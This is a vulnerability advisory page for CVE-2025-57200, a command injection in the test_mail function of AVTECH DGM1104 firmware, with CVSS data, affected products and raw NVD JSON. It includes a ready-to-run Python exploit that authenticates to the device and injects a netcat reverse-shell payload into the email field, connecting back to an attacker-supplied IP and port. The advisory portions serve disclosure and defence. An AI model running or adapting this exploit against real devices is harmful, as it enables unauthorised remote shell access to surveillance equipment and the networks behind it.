Security Vulnerability Report
中文
CVE-2025-57200 CVSS 6.5 MEDIUM

CVE-2025-57200

Published: 2025-12-03 15:15:52
Last Modified: 2026-01-05 19:28:06

Description

AVTECH SECURITY Corporation DGM1104 FullImg-1015-1004-1006-1003 was discovered to contain an authenticated command injection vulnerability in the test_mail function. This vulnerability allows attackers to execute arbitrary commands via a crafted input.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:avtech:dgm1104_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:avtech:dgm1104:-:*:*:*:*:*:*:* - NOT VULNERABLE
AVTECH DGM1104 FullImg-1015 < 未知修复版本
AVTECH DGM1104 FullImg-1004 < 未知修复版本
AVTECH DGM1104 FullImg-1006 < 未知修复版本
AVTECH DGM1104 FullImg-1003 < 未知修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-57200 PoC - AVTECH DGM1104 Command Injection in test_mail # This PoC demonstrates authenticated command injection vulnerability import requests import sys def exploit(target_ip, username, password, attacker_ip, attacker_port): """ Exploit the command injection vulnerability in AVTECH DGM1104 test_mail function Args: target_ip: Target device IP address username: Valid credentials for authentication password: Password for the account attacker_ip: Attacker controlled IP for reverse shell attacker_port: Port for reverse shell connection """ base_url = f"http://{target_ip}" # Authentication login_url = f"{base_url}/cgi-bin/checkUser.cgi" session = requests.Session() login_data = { "username": username, "password": password } try: # Attempt to login response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Authentication failed or device unreachable") return False print(f"[+] Successfully authenticated to {target_ip}") # Command injection via test_mail function inject_url = f"{base_url}/cgi-bin/admin/test_mail.cgi" # Payload: Reverse shell using netcat # Inject command via email parameter payload = f"$(nc -e /bin/sh {attacker_ip} {attacker_port})" exploit_data = { "mail_server": "[email protected]", "email": payload, "test": "1" } print(f"[*] Sending exploit payload...") response = session.post(inject_url, data=exploit_data, timeout=10) if response.status_code == 200: print(f"[+] Exploit sent successfully") print(f"[*] Check listener on {attacker_ip}:{attacker_port}") return True else: print(f"[-] Exploit failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 6: print(f"Usage: {sys.argv[0]} <target_ip> <username> <password> <attacker_ip> <attacker_port>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] atk_ip = sys.argv[4] atk_port = sys.argv[5] exploit(target, user, pwd, atk_ip, atk_port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57200", "sourceIdentifier": "[email protected]", "published": "2025-12-03T15:15:52.170", "lastModified": "2026-01-05T19:28:06.287", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AVTECH SECURITY Corporation DGM1104 FullImg-1015-1004-1006-1003 was discovered to contain an authenticated command injection vulnerability in the test_mail function. This vulnerability allows attackers to execute arbitrary commands via a crafted input."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:avtech:dgm1104_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "2EE9FE6D-6B3B-4244-84A6-7CA780064BE4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:avtech:dgm1104:-:*:*:*:*:*:*:*", "matchCriteriaId": "C94DD873-8D0F-4703-A27C-8DBCAE839BBC"}]}]}], "references": [{"url": "http://avtech.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "http://dgm1104.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/xchg-rax-rax/vulnerability-research/tree/main/CVE-2025-57200", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}